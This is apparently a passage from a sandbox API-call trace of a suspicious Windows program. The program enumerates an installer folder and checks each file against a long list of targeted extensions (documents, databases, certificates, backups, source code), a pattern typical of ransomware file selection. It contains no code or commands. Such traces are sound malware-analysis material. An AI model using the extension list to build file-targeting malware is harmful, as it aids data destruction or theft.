[0099.571] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".jpeg") returned 5 [0099.571] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0099.571] lstrlenW (lpString=".jpf") returned 4 [0099.571] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".jpg") returned 4 [0099.571] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".jpx") returned 4 [0099.571] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".js") returned 3 [0099.571] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0099.571] lstrlenW (lpString=".jsf") returned 4 [0099.571] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".json") returned 5 [0099.571] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0099.571] lstrlenW (lpString=".jsp") returned 4 [0099.571] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".kdc") returned 4 [0099.571] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".kmz") returned 4 [0099.571] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".kwm") returned 4 [0099.571] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".lasso") returned 6 [0099.571] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0099.571] lstrlenW (lpString=".lbi") returned 4 [0099.571] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".lgf") returned 4 [0099.572] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".lgp") returned 4 [0099.572] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".log") returned 4 [0099.572] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".m1v") returned 4 [0099.572] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".m4a") returned 4 [0099.572] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".m4v") returned 4 [0099.572] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".max") returned 4 [0099.572] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".md") returned 3 [0099.572] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0099.572] lstrlenW (lpString=".mda") returned 4 [0099.572] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".mdb") returned 4 [0099.572] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".mde") returned 4 [0099.572] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".mdf") returned 4 [0099.572] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0099.572] lstrlenW (lpString=".mdw") returned 4 [0099.573] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mef") returned 4 [0099.573] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mft") returned 4 [0099.573] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mfw") returned 4 [0099.573] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mht") returned 4 [0099.573] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mhtml") returned 6 [0099.573] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0099.573] lstrlenW (lpString=".mka") returned 4 [0099.573] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mkidx") returned 6 [0099.573] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0099.573] lstrlenW (lpString=".mkv") returned 4 [0099.573] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mos") returned 4 [0099.573] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mov") returned 4 [0099.573] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mp3") returned 4 [0099.573] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mp4") returned 4 [0099.573] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mpeg") returned 5 [0099.573] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0099.573] lstrlenW (lpString=".mpg") returned 4 [0099.573] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mpv") returned 4 [0099.573] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".mrw") returned 4 [0099.573] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0099.573] lstrlenW (lpString=".msg") returned 4 [0099.574] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".mxl") returned 4 [0099.574] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".myd") returned 4 [0099.574] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".myi") returned 4 [0099.574] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".nef") returned 4 [0099.574] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".nrw") returned 4 [0099.574] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".obj") returned 4 [0099.574] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".odb") returned 4 [0099.574] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".odc") returned 4 [0099.574] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".odm") returned 4 [0099.574] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".odp") returned 4 [0099.574] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".ods") returned 4 [0099.574] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".oft") returned 4 [0099.574] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".one") returned 4 [0099.574] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".onepkg") returned 7 [0099.574] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0099.574] lstrlenW (lpString=".onetoc2") returned 8 [0099.574] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0099.574] lstrlenW (lpString=".opt") returned 4 [0099.574] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0099.574] lstrlenW (lpString=".oqy") returned 4 [0099.574] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".orf") returned 4 [0099.575] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".p12") returned 4 [0099.575] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".p7b") returned 4 [0099.575] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".p7c") returned 4 [0099.575] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pam") returned 4 [0099.575] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pbm") returned 4 [0099.575] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pct") returned 4 [0099.575] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pcx") returned 4 [0099.575] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pdd") returned 4 [0099.575] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pdf") returned 4 [0099.575] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pdp") returned 4 [0099.575] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pef") returned 4 [0099.575] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pem") returned 4 [0099.575] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pff") returned 4 [0099.575] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pfm") returned 4 [0099.575] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pfx") returned 4 [0099.575] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0099.575] lstrlenW (lpString=".pgm") returned 4 [0099.575] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".php") returned 4 [0099.576] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".php3") returned 5 [0099.576] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".php4") returned 5 [0099.576] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".php5") returned 5 [0099.576] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".phtml") returned 6 [0099.576] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0099.576] lstrlenW (lpString=".pict") returned 5 [0099.576] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".pl") returned 3 [0099.576] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0099.576] lstrlenW (lpString=".pls") returned 4 [0099.576] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".pm") returned 3 [0099.576] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0099.576] lstrlenW (lpString=".png") returned 4 [0099.576] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".pnm") returned 4 [0099.576] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".pot") returned 4 [0099.576] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".potm") returned 5 [0099.576] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".potx") returned 5 [0099.576] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".ppa") returned 4 [0099.576] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".ppam") returned 5 [0099.576] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0099.576] lstrlenW (lpString=".ppm") returned 4 [0099.576] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0099.576] lstrlenW (lpString=".pps") returned 4 [0099.577] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".ppsm") returned 5 [0099.577] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0099.577] lstrlenW (lpString=".ppt") returned 4 [0099.577] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".pptm") returned 5 [0099.577] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0099.577] lstrlenW (lpString=".pptx") returned 5 [0099.577] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0099.577] lstrlenW (lpString=".prn") returned 4 [0099.577] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".ps") returned 3 [0099.577] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0099.577] lstrlenW (lpString=".psb") returned 4 [0099.577] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".psd") returned 4 [0099.577] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".pst") returned 4 [0099.577] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".ptx") returned 4 [0099.577] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".pub") returned 4 [0099.577] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".pwm") returned 4 [0099.577] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".pxr") returned 4 [0099.577] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0099.577] lstrlenW (lpString=".py") returned 3 [0099.577] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0099.577] lstrlenW (lpString=".qt") returned 3 [0099.577] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0099.578] lstrlenW (lpString=".r3d") returned 4 [0099.578] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0099.578] lstrlenW (lpString=".raf") returned 4 [0099.578] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0099.578] lstrlenW (lpString=".rar") returned 4 [0099.578] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.578] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.578] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.578] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.578] FindClose (in: hFindFile=0x3e500c0 | out: hFindFile=0x3e500c0) returned 1 [0099.578] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0099.578] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0099.578] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0099.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26 [0099.579] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0099.579] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.579] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.579] lstrlenW (lpString="eula.rtf") returned 8 [0099.579] lstrlenW (lpString=".1cd") returned 4 [0099.579] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.579] lstrlenW (lpString=".3ds") returned 4 [0099.579] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.579] lstrlenW (lpString=".3fr") returned 4 [0099.579] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.579] lstrlenW (lpString=".3g2") returned 4 [0099.579] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.579] lstrlenW (lpString=".3gp") returned 4 [0099.579] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.579] lstrlenW (lpString=".7z") returned 3 [0099.579] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.579] lstrlenW (lpString=".accda") returned 6 [0099.579] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.579] lstrlenW (lpString=".accdb") returned 6 [0099.579] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.579] lstrlenW (lpString=".accdc") returned 6 [0099.580] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.580] lstrlenW (lpString=".accde") returned 6 [0099.580] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.580] lstrlenW (lpString=".accdt") returned 6 [0099.580] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.580] lstrlenW (lpString=".accdw") returned 6 [0099.580] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.580] lstrlenW (lpString=".adb") returned 4 [0099.580] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".adp") returned 4 [0099.580] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".ai") returned 3 [0099.580] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.580] lstrlenW (lpString=".ai3") returned 4 [0099.580] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".ai4") returned 4 [0099.580] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".ai5") returned 4 [0099.580] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".ai6") returned 4 [0099.580] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".ai7") returned 4 [0099.580] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".ai8") returned 4 [0099.580] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".anim") returned 5 [0099.580] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.580] lstrlenW (lpString=".arw") returned 4 [0099.580] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".as") returned 3 [0099.580] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.580] lstrlenW (lpString=".asa") returned 4 [0099.580] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.580] lstrlenW (lpString=".asc") returned 4 [0099.580] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".ascx") returned 5 [0099.581] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.581] lstrlenW (lpString=".asm") returned 4 [0099.581] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".asmx") returned 5 [0099.581] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.581] lstrlenW (lpString=".asp") returned 4 [0099.581] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".aspx") returned 5 [0099.581] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.581] lstrlenW (lpString=".asr") returned 4 [0099.581] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".asx") returned 4 [0099.581] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".avi") returned 4 [0099.581] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".avs") returned 4 [0099.581] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".backup") returned 7 [0099.581] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.581] lstrlenW (lpString=".bak") returned 4 [0099.581] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".bay") returned 4 [0099.581] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".bd") returned 3 [0099.581] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.581] lstrlenW (lpString=".bin") returned 4 [0099.581] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".bmp") returned 4 [0099.581] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".bz2") returned 4 [0099.581] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.581] lstrlenW (lpString=".c") returned 2 [0099.581] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.581] lstrlenW (lpString=".cdr") returned 4 [0099.582] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cer") returned 4 [0099.582] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cf") returned 3 [0099.582] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.582] lstrlenW (lpString=".cfc") returned 4 [0099.582] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cfm") returned 4 [0099.582] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cfml") returned 5 [0099.582] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.582] lstrlenW (lpString=".cfu") returned 4 [0099.582] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".chm") returned 4 [0099.582] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cin") returned 4 [0099.582] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".class") returned 6 [0099.582] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0099.582] lstrlenW (lpString=".clx") returned 4 [0099.582] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".config") returned 7 [0099.582] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.582] lstrlenW (lpString=".cpp") returned 4 [0099.582] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cr2") returned 4 [0099.582] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".crt") returned 4 [0099.582] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".crw") returned 4 [0099.582] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.582] lstrlenW (lpString=".cs") returned 3 [0099.582] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.582] lstrlenW (lpString=".css") returned 4 [0099.583] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".csv") returned 4 [0099.583] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".cub") returned 4 [0099.583] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dae") returned 4 [0099.583] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dat") returned 4 [0099.583] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".db") returned 3 [0099.583] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.583] lstrlenW (lpString=".dbf") returned 4 [0099.583] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dbx") returned 4 [0099.583] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dc3") returned 4 [0099.583] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dcm") returned 4 [0099.583] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dcr") returned 4 [0099.583] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".der") returned 4 [0099.583] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dib") returned 4 [0099.583] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dic") returned 4 [0099.583] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".dif") returned 4 [0099.583] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.583] lstrlenW (lpString=".divx") returned 5 [0099.583] lstrcmpiW 